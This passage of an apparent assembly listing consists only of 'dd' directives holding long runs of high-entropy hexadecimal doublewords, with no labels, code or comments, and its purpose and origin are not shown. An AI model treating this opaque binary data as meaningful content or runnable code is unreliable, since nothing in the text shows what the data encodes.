		dd 5DAAD41Ah, 49821079h, 0C2235B16h, 995EA0h, 1335AE2Fh
		dd 81C134C7h, 40367B9Ah, 0A2935032h, 3027F288h,	0E1003D52h
		dd 0C2534F7Ah, 0B2BD016h
		dd 0E4B96365h, 0A011441Dh, 19F11A83h, 3B8EDBA8h, 0B059C509h
		dd 29709031h, 0B4608221h, 70990E3Ch, 83131147h,	528B8270h
		dd 5A9F8F8h, 557C4E89h,	22981F61h, 0B0C51926h, 0D48B43h
		dd 4195BA89h, 8DEBCDD1h, 5D711901h, 0EFC54D66h,	908864DEh
		dd 0E13101AEh, 490451D6h, 18682289h, 0DF6117EEh, 966100E7h
		dd 28FB5740h, 3E017B26h, 4B891066h, 9C3243ABh, 0B209A848h
		dd 0BCD11955h, 0DD182079h, 0B6CB6205h, 70E11B49h, 2B4B7867h
		dd 79D2364h, 7D5F8C7h, 4642E2ACh, 1B44184Fh, 0E3DA3560h
		dd 90E07827h, 2FD3178h,	9CF744B8h, 807081F9h, 9554AE0Bh
		dd 1298109Dh, 0A8D62E83h, 4D01083Ch, 47086D4Bh,	0C121600Fh
		dd 6D599951h, 68585198h, 8CA2BC74h, 774A4600h, 0CF13C64Ch
		dd 0A6DC1762h, 0AA0C22F2h, 8078E680h, 69004F92h, 431437FDh
		dd 3874724h, 0B62ACE8Dh, 3100AAF2h, 0D27FB9BAh,	0F81863h
		dd 0C2079B21h, 73857034h, 0A0A44B02h, 0E02F0476h, 0A73F75D0h
		dd 80B1CE84h, 958DDD7h,	0BCAD0559h, 1FFE0EF1h, 9CDBC044h
		dd 25856F50h, 0D4411E1Ch, 0A9709680h, 22C6567h,	30BFFE58h
		dd 6471DB87h, 8860BC7Bh, 0E8E2D992h, 0E91CF8A9h, 1C170552h
		dd 1D23FC2Fh, 50989F00h, 0DFDB635h, 25CF1858h, 0B8206B21h
		dd 73CDA94h, 1E5F5031h,	0D0F2B75Eh, 7F9CAC2Dh, 13462E04h
		dd 49499DCh, 4AB8A8B9h,	60A47300h, 237ED010h, 8F0F16B8h
		dd 75E86259h, 465C9C08h, 5E660231h, 72ED0428h, 32C21F54h
		dd 78650EB3h, 3FDA4D40h, 0BF1879C4h, 94D85B14h,	7B550715h
		dd 8C32EFF7h, 21012359h, 0C5667118h, 93E0AC34h,	0D04E4D0Dh
		dd 0C0D85E2Ch, 0CB5D11B3h, 98A984B9h, 37189DD1h, 9BF9121Dh
		dd 438A7B04h, 0F84688A3h, 0E8A57DB0h, 0F7F9E3Eh, 0AB2192B6h
		dd 50C4209Ah, 79F4CD62h, 15953AEAh, 1D6FB992h, 35AF219Ch
		dd 79670014h, 0D99DB8D4h, 0D6B40107h, 0FA20F50Eh, 2765D19Ch
		dd 0CB74F13h, 3DD280BBh, 51971EFEh, 9636E489h, 0AC467648h
		dd 0AE5EED01h, 630D463Ah, 301EA22Ch, 0A400D92Ah, 0A8C2036h
		dd 0E5A3F8Ah, 9DCB1F42h, 642CB437h, 0A2AE2512h,	5D343000h
		dd 0BE1FC562h, 9D465E28h, 74D35001h, 23A2AFF6h,	3308A290h
		dd 72BE5CA8h, 8200BDF2h, 0CE8B6581h, 4BD4A921h,	23BC2F8Eh
		dd 69003F1Bh, 2B898007h, 71C71C4Dh, 0B095C550h,	1C04D4D5h
		dd 4A511D9h, 9490D6FCh,	88CDEBE0h, 0E087FD43h, 5BAA29h
		dd 4D744CADh, 1CD88865h, 12855780h, 0C860A7B0h,	0F906E7E8h
		dd 25A92BE4h, 913901C9h, 78D609F6h, 0F704DC13h,	0C094CB1Fh
		dd 90D9ACC7h, 0C322237h, 80025563h, 8CFE433Bh, 5AAB4989h
		dd 65FCF0h, 44D792Fh, 545161F9h, 26FC62F9h, 46740C5Bh
		dd 0E45700A0h, 3F1AD6FCh, 0E9AE2F4h, 8C69C5DAh,	54ED29B8h
		dd 1D7C1200h, 0A3F5624Ch, 0F2240040h, 0E8CF4D19h, 56273C04h
		dd 0C5E41839h, 61989C83h, 0C268583Fh, 0B0AB90FBh, 13C02A78h
		dd 0D1320859h, 3841CBF8h, 0D105C4C8h, 18B6E094h, 1AEDD2B0h
		dd 0DE28AB0Eh, 5B68273h, 2DC076C3h, 9FC4B8EDh, 46F03F80h
		dd 0FC3E2FE1h, 82C0582Eh, 6DCF634Dh, 62C99F00h,	0D26FF9D6h
		dd 6E7C13ADh, 4898014Eh, 2AB88867h, 451C405h, 55BC98A8h
		dd 9FC2388Ch, 0C0A0431Dh, 669C7881h, 13273DAEh,	84E810CBh
		dd 42675B12h, 4F0815B8h, 27D1E871h, 5E3F3118h, 0A3FF00D2h
		dd 0B5E358BEh, 35030BE0h, 8494A1h, 7444AE34h, 10143F10h
		dd 0A3503812h, 33A1B2ECh, 46FD1A80h, 91F4B400h,	633EF1BFh
		dd 9A775E16h, 3A80DF90h, 2C03ACE6h, 35AA02CDh, 0E5ADF997h
		dd 5289C87Eh, 64084745h, 8011600Dh, 0BD591CA7h,	4F2083B3h
		dd 0A9A4E999h, 872F0Ch,	0A1B15130h, 0CE18DC1Dh,	780C7513h
		dd 6D8816D0h, 39D2001Ah, 0E284F89h, 5F73F8D1h, 0B33FAA16h
		dd 4D60ACD0h, 2818B72Fh, 2A00E921h, 0B3E3B923h,	772E0D2h
		dd 0EB0EEF05h, 0B0F2296Bh, 0F288A00h, 0A618968Bh, 14512450h
		dd 133881F8h, 134C9BD4h, 9CABE848h, 280BABBh, 3216EBC5h
		dd 0A0FE29DBh, 0B510662Dh, 8910C17h, 3A576E80h,	0AC0AD3E7h
		dd 0DC512B8Eh, 0CE9F344h, 3C83FC74h, 5284E214h,	0BF5C0DCAh
		dd 7F0F2AC0h, 0ADE42E8Bh, 0F992604Ch, 0B8BFCD31h, 0BEA074F0h
		dd 7EB78054h, 53A1C95Dh, 36933809h, 0B8AE03FBh,	40D0B4DCh
		dd 80D3F989h, 6E035D2Fh, 24E09F9Ah, 583E07Bh, 0BF5A009Bh
		dd 2FBCB044h, 0C216067Fh, 0A09D966Fh, 23142B6Eh, 4774001Dh
		dd 0AF81D9DFh, 0C57A4502h, 579CB5CAh, 27A7DCA2h, 0A8D92620h
		dd 72B0008Ah, 81D50220h, 35012431h, 0FB967F2Ch,	3C280732h
		dd 0D1AAA6C0h, 0A0C5B6A1h, 34900C8Bh, 63C603h, 30F771ADh
		dd 106BCE3Ch, 0F4441409h, 58A8DB24h, 0A700E6ECh, 0A9598F3Dh
		dd 734723D8h, 6DFE26CCh, 9AED424Ch, 2211949Fh, 9AEAC880h
		dd 0A026651Ah, 0EE893CFCh, 27202030h, 0E055F923h, 0C6E300B7h
		dd 0D477F08Ch, 0B001CC3h, 37022C51h, 5DC19D2Ah,	5C13C8A5h
		dd 0F4408956h, 74009346h, 76AA67B6h, 1D974819h,	0C11CE9E6h
		dd 8C7DFC53h, 0A5346C42h, 0EC07846Bh, 0F0C782DBh, 24AD8FBCh
		dd 605E8E2Fh, 5C4296E0h, 3001DB3Eh, 0FD1B2BEAh,	2DA042B7h
		dd 98271CDCh, 2721AA4Ch, 4A2990Ch, 407986C9h, 0CD64C6Ah
		dd 0F4F9B933h, 80CA7AF6h, 0AC9EE0C9h, 68B78D4Dh, 0B2841420h
		dd 0D05910E8h, 31B98530h, 7DE8FCEDh, 7A1EFF48h,	2F8829Dh
		dd 40B95559h, 482F3F66h, 8100A023h, 82965C42h, 490F1473h
		dd 0F909209Fh, 74E0982Eh, 0C802B120h, 530A21F8h, 76060135h
		dd 2C32A7h, 62300E85h, 0A91D887h, 42DE7A74h, 5A1782DCh
		dd 30D4056Dh, 240F465Eh, 7F004C87h, 0E808F80Dh,	0B8EF2D91h
		dd 6A875410h, 5CE56E0Bh, 4AB8C6E3h, 0BB840EEh, 0EDE50EDFh
		dd 0A2F777Bh, 9E3820F3h, 8A1824h, 2B2004E2h, 4D393CFCh
		dd 0F57C229Dh, 0A456092Ch, 5020B429h, 0E3294B00h, 7A401D31h
		dd 7EE100CCh, 46641CF1h, 0A12E62CAh, 942B9807h,	209B5D93h
		dd 430E180h, 0A32C6709h, 9A1C50CDh, 7A3E0580h, 0DDF2CFh
		dd 0AD0B2DFFh, 87C6252Eh, 0F97C0102h, 7164781Ah, 1827792Ch
		dd 15F60760h, 10BCD137h, 0A4591E7Eh, 2017EF02h,	0DBAFD651h
		dd 18A05118h, 0D4570364h, 0FA68622h, 0CF4000F5h, 0A20B9510h
		dd 40931402h, 4063F5F6h, 0E762AB8Ch, 5FC9EF4h, 294D5B82h
		dd 0E738D4F8h, 0A2484234h, 1E0130A2h, 8B9B7D01h, 0CB85F583h
		dd 403C8420h, 0B24A4936h, 6E517491h, 6E6A1421h,	50A5022Ch
		dd 0FB37D181h, 0F2C989D8h, 0D9E0B048h, 0A4795700h, 0A30156EEh
		dd 8C1A0061h, 0AEF00CD4h, 78129FDAh, 0B41ECEEFh, 0E7377902h
		dd 96CC9496h, 0A04656A8h, 45D08E00h, 8CA9F82Ch,	295A3005h
		dd 0B072C9C6h, 8DDB335Eh, 0B8EC4BCBh, 4FC8B088h, 0E283008Dh
		dd 6CE120A2h, 0F202BDB5h, 1DF9930Bh, 0D6ACE8B0h, 7924B176h
		dd 3F401837h, 8AA85F11h, 2F66121Ch, 8020A85Ch, 4E182DBCh
		dd 0DACD00E6h, 0B37126A7h, 6A046E75h, 0A0C27CACh, 4643ACC2h
		dd 0F8A60044h, 97E0578Bh, 0A81EACB4h, 414009B1h, 0FDCE87EAh
		dd 0F8D04C66h, 0B8404358h, 10ECBE5Fh, 7CAE05E5h, 44895382h
		dd 63006AC1h, 83BD8693h, 0ADC99290h, 284C9CECh,	0B4D1510h
		dd 0AB6C2368h, 709C7BE8h, 0E60F2456h, 0C910C2h,	51EA6748h
		dd 0C02DF7CCh, 0F8F62BACh, 0FEA07C06h, 31E8B439h, 54B913B9h
		dd 7484D211h, 20CB530Ch
		dd 0D6C01DC8h, 30F9944h, 3E0B6B6Fh, 68A6C1D3h, 227BCC08h
		dd 0F2751649h, 401003Ch, 0ED399D6h, 247700B3h, 0D1118F83h
		dd 9B5631Dh, 700053C8h,	0D600919Eh, 0C520E8CEh,	0B2015459h
		dd 660E4404h, 8DB26400h, 2FFE1934h, 579303B7h, 0CD7D3501h
		dd 8CFB62A0h, 0E50020BDh, 2E0221F1h, 0F7088B8h,	0E6E18E5Fh
		dd 204D3291h, 6B40C218h, 0A6190047h, 64889CA9h,	9D3D22ACh
		dd 2CDB5AD6h, 98A4E982h, 7B66A90Fh, 0FD81D0C0h,	8908A8BEh
		dd 219C0464h, 0F2609094h, 5340E18Bh, 2C12BD18h,	18355Fh
		dd 0DB272221h, 14004007h, 0AF849C66h, 5E3724A1h, 3D246F1Bh
		dd 29B297BAh, 65DAA404h, 427DC8A4h, 689A4A98h, 0DAD9F980h
		dd 0A401178Fh, 0AC6C50B6h, 9048D284h, 0C90172D1h, 0C9008860h
		dd 92CE14F4h, 5334130Dh, 6034A829h, 0A7660241h,	0D47F2C46h
		dd 950060D4h, 2DF98FFAh, 0F3458851h, 8E04BA0Fh,	0A09D0A1Ch
		dd 0A074D204h, 5E06D8ADh, 31B7C423h, 357430B8h,	7153180h
		dd 4C4BBB3Bh, 0CBE41225h, 94B9F848h, 0E2F090B7h, 62021C2Fh
		dd 402ADDC4h, 9F0BB6D6h, 0EC0060C5h, 0F6CF47ABh, 25F43DE6h
		dd 97A736h, 0B4800F91h,	0EF86E41Ch, 0DFC9721Eh,	0D8BC85D2h
		dd 20F99913h, 4F548824h, 2D9CF550h, 0EC4E4C01h,	20B0438Dh
		dd 0B17C812Eh, 8D0E7D8h, 0E30067ABh, 30A7A00Eh,	0C82168Fh
		dd 0F18A7C89h, 0C91B9E40h, 0B8588004h, 4A59FF5h, 0CBA03931h
		dd 882C8EDDh, 0BDC4C09Bh, 3654CF18h, 1209AEC0h,	5649C998h
		dd 0C68C0D38h, 38DB2E31h, 47343B80h, 6F5215A6h,	309BB220h
		dd 6D74F3ADh, 71517D27h, 18A2D1F4h, 0D9D003Bh, 488E23A5h
		dd 69EDAA7Ah, 906201BCh, 8AC753C4h, 679F49F4h, 6B42A108h
		dd 9D78505Bh, 0B468426h, 702021B4h, 91EB18A0h, 0A28A0044h
		dd 5765F0DEh, 66AE7500h, 3FD1BF5Fh, 0FA6E05BAh,	0AC0CA755h
		dd 8CA3BCECh, 9D07987Fh, 7A3E80A6h, 135301DFh, 0A111CCDh
		dd 0F3444289h, 950BFCE4h, 8065C302h, 0A8FADD33h, 3A2D1318h
		dd 4E84E8D2h, 5AB05CB6h, 0AB303FBCh, 9BB5A1CEh,	8471C74Dh
		dd 24C56274h, 11D41777h, 3FB383A4h, 0C537A090h,	40E40C8Ch
		dd 33E130A5h, 41037BDh,	8093D5BBh, 0C19CE96Bh, 0A2CC895h
		dd 0D91A604Eh, 9F2AA89Bh, 88205502h, 686CAD8Ch,	0E535F9B8h
		dd 0E1B6A301h, 0A0B18C48h, 1F7992Ch, 99B39542h,	0CCD5635Bh
		dd 5E0B7556h, 7A81D165h, 0A1A021Ch, 0DBF97BF7h,	0A310C8C0h
		dd 7C6B6D4Ah, 7B3EA606h, 9D0E98E5h, 9D2777E3h, 8C401992h
		dd 935E39B4h, 9AA50114h, 70BF23C7h, 78486058h, 3770AC9Bh
		dd 0F72D0034h, 99956630h, 0F0A1A223h, 0C374C451h, 47809896h
		dd 0B52C3122h, 0F950629Ah, 2F7D41C5h, 832881E8h, 20E3B7h
		dd 21440F92h, 508027ADh, 0E766A482h, 559AE405h,	0F8CE3875h
		dd 1CB2788h, 4817D0C3h,	1A0D7D4h, 33050EB4h, 62E9A9D3h
		dd 0ED7825CCh, 0BC536958h, 18697601h, 818031CBh, 0C1C88611h
		dd 0B12F257Fh, 0CF08005Dh, 0FE587E3h, 894F488Bh, 18C3A426h
		dd 5A02927Dh, 515014BDh, 98CF428h, 0C0E5E7B9h, 0DE60A2E4h
		dd 0EB00FCF4h, 42EC0D34h, 0F42F0726h, 0B159C5C4h, 879CF070h
		dd 8D60E001h, 2FA5D1E5h, 0C08BE424h, 9A6333C9h,	8458CAA9h
		dd 80385C6Ch, 0B22B6E71h, 0BE16307Ch, 9EEB975Ah, 5AE7301h
		dd 0D318A513h, 8C181C72h, 0DDBD39CFh, 461A5801h, 0D1516415h
		dd 0A3B5EC30h, 7181C970h, 2F05903Ch, 0D1E684B4h, 67F5FCh
		dd 0B2A8D219h, 2097B504h, 0BE05A1BCh, 64AC9CDBh, 0D997E30Bh
		dd 95C47019h, 0A0C010EDh, 3EC93098h, 1B3497CDh,	0D06EEA60h
		dd 0ABE4E907h, 45B9B1C9h, 20122F28h, 861154ACh,	59C70B2Ah
		dd 930D0B4h, 58A32E89h,	8A8E80D6h, 2E929064h, 0F23ECh
		dd 0A1C4FC3Dh, 5016494h, 0C5CDBEDBh, 483898B1h,	19625903h
		dd 0B94BA58Ch, 1800DC6Eh, 13D00E0Ah, 0FD1EDFE7h, 0D4921739h
		dd 41F8A460h, 820D1987h, 334FE1A0h, 0C0E83A28h,	0C12662EFh
		dd 1875CB19h, 13916BBCh, 132E99B1h, 23206A48h, 5522009Dh
		dd 0F1B5F318h, 8B077C98h, 89839CC6h, 543CEE62h,	1600F478h
		dd 0B05D2B13h, 8EC7101h, 0CB31B14Fh, 0B4404D02h, 24D84820h
		dd 0F04297B9h, 1DECB75Dh, 5D0700D2h, 879E97F8h,	59CBDA1Dh
		dd 0C090ECEAh, 5112B60Bh, 0E9C498C7h, 7E6FEE6Bh, 7CFD583Dh
		dd 47048B80h, 3900EABBh, 3DC2F93Fh, 4851E71Ch, 502254C1h
		dd 0FCB24929h, 8D6BC500h, 6981B530h, 78592119h,	0C218A479h
		dd 0B37FBC00h, 69179079h, 58663F29h, 0BC903220h, 30CED920h
		dd 0E6C92DA7h, 2EC1E715h, 2280B6CFh, 1613D064h,	61557Bh
		dd 5B14AAD4h, 3F3B18C3h, 0BF22825Ah, 704D6078h,	0D19209F8h
		dd 0C0409559h, 0EF81018Dh, 871C4F2Bh, 0B0CAEC80h, 0F100A682h
		dd 75FFFB14h, 35C2A1Ch,	41C70576h, 0A871138Ch, 0AE481404h
		dd 74D37E7Ch, 0F7E59132h, 291760BFh, 0C8F08B15h, 30C4C0ACh
		dd 500B7559h, 9DDB414Ah, 800C11F0h, 3EE193B0h, 9E12F309h
		dd 4AAFB710h, 0F258A24Ah, 50773037h, 18CA83Eh, 0A685C57Ch
		dd 59803FFDh, 0EEF22036h, 9500BFE5h, 6F3E5486h,	0F4FD3h
		dd 5B7D9C85h, 2A398EF5h, 110914B2h, 7E24FE3Ch, 0BC13D680h
		dd 1513F872h, 9CB4A8h, 0D282B7D9h, 85007BBEh, 40F246F6h
		dd 5D1E96h, 4EAADE32h, 0CDAD5BAEh, 3D131490h, 3020A58Fh
		dd 4FB0F58h, 2DBC9FD1h,	3508C2F3h, 677610h, 0FC6CA983h
		dd 6ADB9CF0h, 958EEB07h, 9EA37D14h, 81490009h, 823890F9h
		dd 0C0ECB729h, 5C772301h, 1D486492h, 234C2F3Fh,	0A7390027h
		dd 0AFF30C7Ah, 8541501h, 44E18CACh, 9158406Fh, 80474F09h
		dd 0BD73A490h, 40304F9Fh, 0F6689302h, 0B51E558h, 0A2719950h
		dd 0E734D888h, 609F4470h, 9C129FDh, 64F5C444h, 9743C47Eh
		dd 0A827A855h, 37C20023h, 2F3CBD59h, 775EB691h,	2A1C006Bh
		dd 0EE8544CBh, 34474001h, 0BF271543h, 90023810h, 0BAE44974h
		dd 2A4D9802h, 41BE9231h, 0C8C45816h, 2CBCFC07h,	5E3C6F05h
		dd 99039A46h, 0B6497B02h, 0B81FEB8Fh, 0BC819B11h, 6ECE18D4h
		dd 20CF3422h, 0D3BD0D7Ch, 5CEA9407h, 0C19F07D0h, 1B546CFAh
		dd 4CDD320h, 0F43EB430h, 0E08CD9Eh, 0C0A388E0h,	0F0DF409h
		dd 88F83D00h, 9307D8E8h, 42D4AC1h, 0AE4AAECCh, 3223D82Fh
		dd 0B87BB03Ah, 988F39CEh, 0AB240030h, 30D02B61h, 765A2882h
		dd 0F8B094A6h, 8916C715h, 0C80269Ch, 5B87CBCDh,	239C2F5Eh
		dd 48770103h, 0D84CE887h, 64017B5Ch, 4E2B903Ch,	9B004F02h
		dd 8A1F539Fh, 0CE8A5275h, 467CB805h, 0D1E7019Ch, 6F5CD04h
		dd 76E3EC40h, 0DC750401h, 0A0B19BB5h, 582767D4h, 990CD088h
		dd 1D2D8068h, 6448ED7Eh, 3E285604h, 87C03234h, 27AC2EC0h
		dd 64E59599h, 18050FE2h, 47708126h, 229F4918h, 6251B1h
		dd 10F1B432h, 8E1B9A1Dh, 0B72D78B6h, 297800B4h,	641F6AA5h
		dd 650583FEh, 61D44331h, 3723DC3Ah, 2802C316h, 4938AC89h
		dd 703CC404h, 8C5BBCh, 619124FBh, 0DBD6E6D0h, 0D8574204h
		dd 0A4F41DFAh, 41C5889Dh, 0CC3B102Ah, 9B1244h, 9FB16B0h
		dd 17E3AE9Fh, 0B448DDECh, 8E9780A0h, 0C955012h,	1F48B1A7h
		dd 4C139F40h, 203A613Fh, 0B4019C23h, 99FE2C0h, 0F0F0FD11h
		dd 7700AFD1h, 7C6DB6BFh, 0F6E17F6Bh, 1ED526B1h,	0AC1A0FF4h
		dd 0F07ADE84h, 97BDA6A4h, 81229174h, 57652682h,	63DCA1F8h
		dd 56E9D00Dh, 680AD69Bh
		dd 0CCC4406Dh, 0BC2E8784h, 0F82584ACh, 0A8B04423h, 0F780D146h
		dd 0A03FA150h, 0A4CD882Dh, 26303200h, 72FD8ECBh, 0A829194Dh
		dd 7C9AF9C6h, 20A2965Ch, 9A300FF2h, 30A400D1h, 0F27B736Dh
		dd 0AEEEF8B0h, 0D4B13A7Fh, 7A20B0A0h, 23681765h, 0AE3CC044h
		dd 0EE00B438h, 9CD15BFCh, 30B14B61h, 19A032A1h,	75B85334h
		dd 0A09EA0CEh, 47644944h, 6B41018Ch, 294F7BB9h,	60496ACCh
		dd 794C71F5h, 32FA189Dh, 35484A5Bh, 59A510FCh, 0E497A5ECh
		dd 80E11E9Fh, 283B6D01h, 0D50EADDCh, 9B1CB04h, 54000840h
		dd 7A3465Ch, 0E46A640Dh, 4CC00410h, 2DC77547h, 0A46161FBh
		dd 0D0202A63h, 15AE4C1h, 0F5316DB2h, 0F03A0BCAh, 9F778D96h
		dd 605E1E04h, 940CE8Ch,	0E87DAAAh, 24019701h, 0BF5A9264h
		dd 2DB84439h, 88D79801h, 50294E14h, 0CF07742Ch,	0CEFFA5CAh
		dd 0E47EA649h, 65108417h, 0E06D2EF0h, 0C02CCD25h, 0E0295016h
		dd 0B4002F41h, 5B46D2A2h, 0E0B0A62Ch, 44C0972h,	0C58812E2h
		dd 0E0B8F651h, 58AFD14h, 41AE36FBh, 0C020BF74h,	46D86Eh
		dd 0E653DD77h, 620D4789h, 92437500h, 0F2367CF0h, 87509CFCh
		dd 23D80A52h, 62D00754h, 164E7A1Ah, 0E000E46Eh,	0C8AE9405h
		dd 90A90286h, 0A2C44178h, 1243024Bh, 1D44CD6h, 926FB998h
		dd 70D2E2B4h, 262C0EC8h, 4A089456h, 6C974940h, 9F800D11h
		dd 0DA760C3Fh, 4C1F1D00h, 0AF7D9CACh, 60924D7Ch, 0D5C11278h
		dd 5938B498h, 0C0B8629Fh, 3F382B8h, 0AFE7B970h,	0B7FD1056h
		dd 0A23C5334h, 818030A1h, 0CFDC2B00h, 0AC35F3DFh, 81165A1Ch
		dd 2E24F24Ch, 50A2D412h, 0FE23027Ch, 12A6EC71h,	0E21124E0h
		dd 9CB5D62Dh, 84FB7424h, 465630B6h, 1B310038h, 48C2D63Eh
		dd 0D92104E7h, 0E4F2A5FFh, 2A3E5B64h, 0CD6F00FDh, 285C2C7Fh
		dd 0DAC700CCh, 0C54BC3B5h, 39F34A1h, 0E97A5E00h, 13E2841h
		dd 798951F0h, 55880F20h, 5F1390C1h, 4B754FCh, 0C19D48FCh
		dd 964FC3Dh, 42042AB4h,	0B0405D34h, 950B17F3h, 0E1BF8B2Bh
		dd 99F08554h, 0B008B04Ch, 76812248h, 0E434C59Fh, 628E6050h
		dd 2C28099Ch, 0BCA9B5A0h, 0DCB474h, 8166BA75h, 18F7677Eh
		dd 0A20C950h, 0F8047D5Ah, 35EFDA44h, 4C20AA04h,	0D7AFC3h
		dd 0DD0E6AAh, 3F2088EDh, 803D7601h, 3CF3054Dh, 0BC73B9A5h
		dd 0F71E170h, 0E9C8A759h, 0B9820D80h, 0DCB9A6F2h, 0B0678538h
		dd 0ECB80B20h, 9A4AF447h, 789080A0h, 0BD9CD419h, 0D0882C10h
		dd 1871055Bh, 0CC2EB349h, 2F40CCE8h, 0E2870532h, 0EB2DD99Dh
		dd 4981E804h, 8AFECCA0h, 0FCB77Fh, 3F49F945h, 25AF840h
		dd 41C5CC70h, 183C63D0h, 83C27B56h, 8CA8017Fh, 544101B6h
		dd 318B2A84h, 345CD859h, 0D605760Bh, 57465E00h,	4BB03F00h
		dd 8C95448Bh, 63B1D060h, 71D36202h, 548D007Ah, 57FA69F4h
		dd 5E269CB9h, 92848879h, 0F4FDFDB6h, 657E2C00h,	625710EEh
		dd 8F05CBF2h, 0F5DB3DE2h, 790B80ACh, 4CD3152Ah,	5FFF70h
		dd 10156AB8h, 0F997E03Fh, 2CD04D55h, 782F4FC8h,	0F9005723h
		dd 3F49D10h, 83C6093Bh,	0ACD0546Ah, 0A440CD4Fh,	929E4259h
		dd 1B802539h, 10A324C9h, 0C2DACEh, 0C78EFB8Dh, 605F4866h
		dd 44DC3C00h, 0B4E5D01Dh, 939C2F67h, 0D0C070CDh, 98E7E36h
		dd 6A7CAE10h, 9212CCD8h, 6CB0BDD9h, 5EE70F4h, 237734FAh
		dd 2B00B149h, 2D8084DBh, 9EA35CC8h, 2403F54Bh, 0C1F81348h
		dd 108CCD79h, 0FEA124A0h, 0DB234B1Dh, 0B47A003Ch, 1A9626FFh
		dd 0C3890E39h, 92615D09h, 8AF6D9C9h, 0D4B014A8h, 546B03F4h
		dd 0AD26E76Ah, 0B6C62488h, 276F7581h, 0DCD2A0BCh, 0D0C3D46h
		dd 20FE7BFBh, 84113C5Eh, 0F70A0880h, 5A77DE28h,	5B163700h
		dd 0BFA29264h, 1C2304ACh, 0B4512653h, 892CC794h, 78A8D874h
		dd 187BB43Bh, 0FD78B82Ah, 1CA1C067h, 0E4ED1601h, 96AFC402h
		dd 48A34318h, 90142CE0h, 27820ECh, 0CB3CA605h, 68E2D2F9h
		dd 8E4482Ch, 3C035B5Ah,	2DB171C3h, 74040121h, 8B6230D3h
		dd 9F6F0045h, 64296028h, 7A7B87EFh, 2BC33419h, 21803908h
		dd 9B642106h, 0F4007BB2h, 8AC78F59h, 187207EDh,	28402739h
		dd 0F030DEA3h, 71311953h, 5494F8EAh, 8263480h, 2287F464h
		dd 500B1CEh, 10AA641Eh,	84F1A0FDh, 0E2CE3C58h, 0DA21EA80h
		dd 1D28DF71h, 18F7171Dh, 0E84F111Ah, 0F8016B07h, 0F01344F2h
		dd 680830EAh, 6B902A21h, 2102F1ECh, 0B7E1CE0Bh,	204C8FA3h
		dd 0FF5939F4h, 6C3C3278h, 223090B8h, 87F01164h,	803B8882h
		dd 0B641AC9h, 0EC175E78h, 0D9048E21h, 79861125h, 97C102C9h
		dd 0FA9F1CA2h, 6BED5C90h, 9A21F8F2h, 669154h, 3C6B9535h
		dd 0E6D0D5C1h, 15530347h, 26B34388h, 709CB010h,	0E8219123h
		dd 0DD603FE4h, 0A3F3AF2h, 0AA9080BFh, 68F0B844h, 0D1FE038Bh
		dd 6B8D1FBEh, 52428900h, 0E6C2E15Eh, 0B12B00CFh, 0A72A0305h
		dd 70EAA0B7h, 6EA28D3h,	6908D201h, 31438D3Eh, 6A24A832h
		dd 63C8DC4Eh, 604DCFC0h, 0F90F003Ah, 21B183F0h,	0DE1DD63Ch
		dd 183E9C5h, 9B206DC6h,	11390009h, 7BD48026h, 7A709CC1h
		dd 0EBC86650h, 5293E20h, 97F628DDh, 7FD043A3h, 0ABD581EEh
		dd 266BB701h, 52D164E5h, 0F6E12180h, 706C281h, 48098A72h
		dd 85DBEB6h, 4674C04Ch,	53007639h, 0FD913B86h, 6F8275F6h
		dd 0F74F210Ch, 0ED254640h, 0D4006EE6h, 2CD253BAh, 5228DCAEh
		dd 0F3015CF5h, 0ED3E2D81h, 88500C64h, 8100FBE4h, 3606A30Eh
		dd 2AA09F6h, 4DBE2434h,	0DCA37754h, 3EA59AF1h, 7AE238Ch
		dd 0E9C99BDh, 0C00600FFh, 67A1938Ah, 0D5C85A54h, 73102D00h
		dd 0AAD63390h, 7BFCE1h,	53CD26C6h, 0BF69CF81h, 58F0B20Eh
		dd 0C5C30039h, 0C16167EFh, 620A4E41h, 1FB88060h, 693C08D9h
		dd 14F64D11h, 580684h, 713BB58Dh, 10F35011h, 4AA6103Eh
		dd 0EB490477h, 4C875BC9h, 0C42E22A0h, 68DEE2A5h, 91B44169h
		dd 81C29DF0h, 31E53E26h, 0F8DF1052h, 3E070E81h,	2601E120h
		dd 9375A6CEh, 5C427050h, 9F92EC11h, 80AA91B4h, 752AE38Ch
		dd 0D3D90063h, 2C6A9BEFh, 0B34CD0D7h, 220205BCh, 941D4586h
		dd 57204182h, 48D0682Ch, 0EDAE00FBh, 0AB4BCBA1h, 8CC03A9h
		dd 1E9212Dh, 6D93AEEFh,	0C42FC5B8h, 77E2862Ch, 0BF3B8D0Ah
		dd 480A9844h, 0A1036CD6h, 643A35DBh, 60F9D018h,	212981EFh
		dd 0E0C00D3Eh, 381F7h, 9014A9FEh, 1DCBFA54h, 0B6A1DB04h
		dd 4169C8Ch, 0C2B09442h, 0EA30F51Ch, 0F8FF116Bh, 825A88C2h
		dd 0E6B922Ch, 33532441h, 3038A2E8h, 5E79172Dh, 4225B300h
		dd 55DE05A1h, 907D13h, 58C54B6Ch, 3965FF9Ah, 8F989700h
		dd 0ABE0E538h, 2A2403F6h, 0ECC10C05h, 830FC9Bh,	0EF49219Fh
		dd 0A2650124h, 2D40D23h, 0E479E493h, 8B0340h, 0B255F174h
		dd 0C273C7FDh, 66EFBE0Ch, 1EFF418Dh, 147B6EF9h,	9223405Fh
		dd 2B24F701h, 9818E405h, 24E84889h, 63CC1B7Dh, 55E070EDh
		dd 62005839h, 13C53681h, 10F725h, 852BEBDFh, 0E3D7E5E2h
		dd 58A13D60h, 355A59Eh,	97CCA880h, 830A1BBh, 96FB2133h
		dd 0C9CA01A5h, 0EB31B253h, 0CF05C079h, 50C3DA1Ch, 0DD6BCE03h
		dd 6CC0145Eh, 30AC30E3h, 5DDF008Ch, 8224401Dh, 0A200A8B9h
		dd 32F9EEF7h, 1C140D95h, 547F99FBh, 3A716401h, 84549F25h
		dd 7C0F58C3h, 0E6DEB501h, 0EE626F80h, 1EE588A0h, 0D75F18Ch
		dd 52C011C0h, 267F9F7Ah, 19605D70h, 80920848h, 7A5B2121h
		dd 0C9AFB54h, 0ADCF6187h
		dd 19187F90h, 0E880EC0Bh, 30B7EA6Eh, 5669E660h,	0B4049FA7h
		dd 0D76AB114h, 0E352CE81h, 80ED8191h, 7FA37A56h, 0EB448C50h
		dd 7A5F0E25h, 15E046F4h, 2787230Eh, 6A06397Ah, 215B08B8h
		dd 390C458h, 8EA818C4h,	0EE1800DEh, 9E13BF49h, 78320E97h
		dd 30EA80E1h, 0A2117A55h, 0EE88587Fh, 7A5E2680h, 1DE3F08h
		dd 86441E78h, 0A8E10EA8h, 1A3A6F21h, 27F287F1h,	28A51095h
		dd 0FBE2E840h, 4C7F9478h, 66002046h, 24AAF79Ah,	5564B0BBh
